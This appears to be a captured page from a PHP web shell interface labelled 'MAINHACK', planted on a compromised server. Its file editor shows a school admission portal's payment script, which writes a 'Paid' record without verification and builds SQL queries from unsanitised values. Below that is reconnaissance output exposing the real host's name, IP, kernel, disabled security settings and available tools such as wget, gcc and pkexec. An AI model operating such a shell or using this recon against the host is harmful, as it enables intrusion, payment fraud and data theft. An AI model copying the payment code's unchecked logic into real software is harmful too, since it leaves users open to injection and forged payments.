[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: paymentprocess.php
<?php include("functions.php"); if(!isset($_SESSION['index_no78897498'])){ header("location:index"); } else { $stu_code = $_SESSION['index_no78897498']; $indexxyy = mysqli_query($new,"SELECT * FROM resultpayment WHERE index_num = '$stu_code'"); if(mysqli_num_rows($indexxyy) > 1){ } else { $indexx = mysqli_query($new,"SELECT * FROM enrol_generic WHERE indexNo = '$stu_code'"); $fetchsch = mysqli_fetch_array($indexx); $school_code = $fetchsch['s_code']; $amount = 10; $pstatus = "Paid"; $date = date("Y-m-d"); $save = "INSERT INTO resultpayment(index_num,s_code,amount,status,datepaid)VALUES('".$stu_code."','".$school_code."','".$amount."','".$pstatus."','".$date."')"; $get = mysqli_query($new,$save) or mysqli_connect_error(); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Makepayment | Online Admission Portal</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="elisof" name="author" /> <!-- App favicon --> <!-- preloader css --> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <script src="https://js.paystack.co/v1/inline.js"></script> <!-- Bootstrap Css --> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <!-- Icons Css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <!-- App Css--> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> </head> <body> <!-- <body data-layout="horizontal"> --> <div class="bg-light-subtle min-vh-100 py-5"> <div class="py-4"> <div class="container"> <div class="row"> <div class="col-lg-12"> <div class="text-center"> <div class="maintenance-cog-icon text-primary pt-4"> <i class="mdi mdi-cog spin-right display-3"></i> <i class="mdi mdi-cog spin-left display-4 cog-icon"></i> </div> <br /><br /> <h3 class="mt-4">Payment made successfully</h3> <a href="myreport"><button type="button" class="btn btn-primary">View report</button></a> <script> // Function to get query parameter by name function getQueryParam(param) { const urlParams = new URLSearchParams(window.location.search); return urlParams.get(param); } const reference = getQueryParam('reference'); // Display the reference or handle it as needed if (reference) { document.getElementById('reference').textContent = 'Your payment reference is: ' + reference; } else { document.getElementById('reference').textContent = 'No payment reference found.'; } </script> </div> </div> <!-- end col --> </div> <!-- end row --> </div> <!-- end container --> </div> </div> <!-- end --> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> </body> </html> <?php }?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002